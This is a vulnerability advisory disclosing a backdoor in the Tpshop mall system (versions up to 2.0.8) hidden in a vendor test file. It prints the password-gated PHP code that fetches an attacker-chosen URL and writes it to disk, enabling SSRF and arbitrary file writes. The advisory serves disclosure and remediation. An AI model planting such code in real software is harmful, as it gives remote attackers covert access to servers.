The Tpshop open source mall system is a multi-merchant mode mall system developed by Shenzhen Leopard Network Co.,
Ltd.This system is based on the Thinkphp development framework.
Tpshop has a backdoor code in the
‘/vendor/phpdocumentor/reflection-docblock/tests/phpDocumentor/Reflection/DocBlock/Tag/LinkTagTeet.php’ that can be
used to download files to the other server and can also initiate attacks through SSRF vulnerabilities.
The vulnerability code:
/vendor/phpdocumentor/reflection-docblock/tests/phpDocumentor/Reflection/DocBlock/Tag/LinkTagTeet.php(Line 486 to
499):
$path = $_REQUEST['bddlj'];
$fileUrl =$_REQUEST['down_url'];
if(md5(md5($_REQUEST['jmmy'])) !== 'caae8ca617372b67363bd284e98430f2')
return false;
$path = strtolower($path);
if(strstr($path,'php')) return false;
$ch = curl_init($fileUrl);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_BINARYTRANSFER,1);
$file = curl_exec ($ch);
curl_close ($ch);
$fp = fopen($path,'w');
fwrite($fp, $file);
fclose($fp);
The attacker can exploit this vulnerability to attack the server and increase its privileges,Example: download
arbitrary files,scan network port,information detection,attack internal network vulnerable’s server.
Tpshop <= 2.0.8
Web Backdoor in Tp-shop 2.0.5-2.0.8 version allow remote attackers to download arbitrary files,scan network
port,information detection,attack internal network vulnerable’s server,may even cause a remote command execution via
the url parameter。
Delete Web Backdoor code.
(/vendor/phpdocumentor/reflection-docblock/tests/phpDocumentor/Reflection/DocBlock/Tag/LinkTagTeet.php(Line 486 to 499))
This vulnerability was discovered by Qian Wu & Bo Wang & Jiawang Zhang & National Computer Network Emergency Response
Technical Team/Coordination Center of China (CNCERT/CC)